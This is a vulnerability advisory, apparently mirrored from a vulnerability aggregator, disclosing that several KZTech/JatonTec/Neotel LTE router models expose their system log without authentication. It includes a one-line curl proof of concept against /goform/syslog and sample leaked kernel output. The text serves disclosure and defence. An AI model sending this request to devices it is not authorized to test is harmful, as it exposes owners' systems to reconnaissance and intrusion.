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KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Log Disclosure
<html><body><p>KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Log Disclosure
Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
http://www.jatontec.com/products/show.php?itemid=258
http://www.jatontech.com/CAT12.html#_pp=105_564
http://www.kzbtech.com/AM3300V.html
https://neotel.mk/ostanati-paketi-2/
Affected version: Model | Firmware
-------|---------
JT3500V | 2.0.1B1064
JT3300V | 2.0.1B1047
AM6200M | 2.0.0B3210
AM6000N | 2.0.0B3042
AM5000W | 2.0.0B3037
AM4200M | 2.0.0B2996
AM4100V | 2.0.0B2988
AM3500MW | 2.0.0B1092
AM3410V | 2.0.0B1085
AM3300V | 2.0.0B1060
AM3100E | 2.0.0B981
AM3100V | 2.0.0B946
AM3000M | 2.0.0B21
KZ7621U | 2.0.0B14
KZ3220M | 2.0.0B04
KZ3120R | 2.0.0B01
Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.
Desc: The unprotected web management server is vulnerable to sensitive
information disclosure vulnerability. An unauthenticated attacker can
visit the syslog page and disclose the webserver's log file containing
system information running on the device.
Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Linux 2.6.36+ (mips)
Mediatek APSoC SDK v4.3.1.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5641
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5641.php
03.02.2021
--
$ curl -sk https://192.168.1.1/goform/syslog
00:00:17 CPE user.warn kernel: mtd .name = raspi, .size = 0x02000000 (0M) .erasesize = 0x00000020 (0K) .numeraseregions = 65536 May 23 00:00:17 CPE user.notice kernel: Creating 6 MTD partitions on "raspi": May 23 00:00:17 CPE user.notice kernel: 0x000000000000-0x000002000000 : "ALL" May 23 00:00:17 CPE user.notice kernel: 0x000000000000-0x000000040000 : "Bootloader" May 23 00:00:17 CPE user.notice kernel: 0x000000040000-0x0000000e0000 : "Config" May 23 00:00:17 CPE user.notice kernel: 0x0000000e0000-0x000000100000 : "Factory" May 23 00:00:17 CPE user.notice kernel: 0x000000100000-0x000001080000 : "Kernel" May 23 00:00:17 CPE user.notice kernel: 0x000001080000-0x000002000000 : "Kernel2" May 23 00:00:17 CPE user.warn kernel: rdm_major = 241 May 23 00:00:17 CPE user.warn kernel: SMACCR1 -- : 0x00006cad May 23 00:00:17 CPE user.warn kernel: SMACCR0 -- : 0xef150389 May 23 00:00:17 CPE user.warn kernel: Ralink APSoC Ethernet Driver Initilization. v3.0 256 rx/tx descriptors allocated, mtu = 1500! May 23 00:00:17 CPE user.warn kernel: SMACCR1 –
...
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18 Mar 2021 00:00Current
5.7Medium risk
Vulners AI Score5.7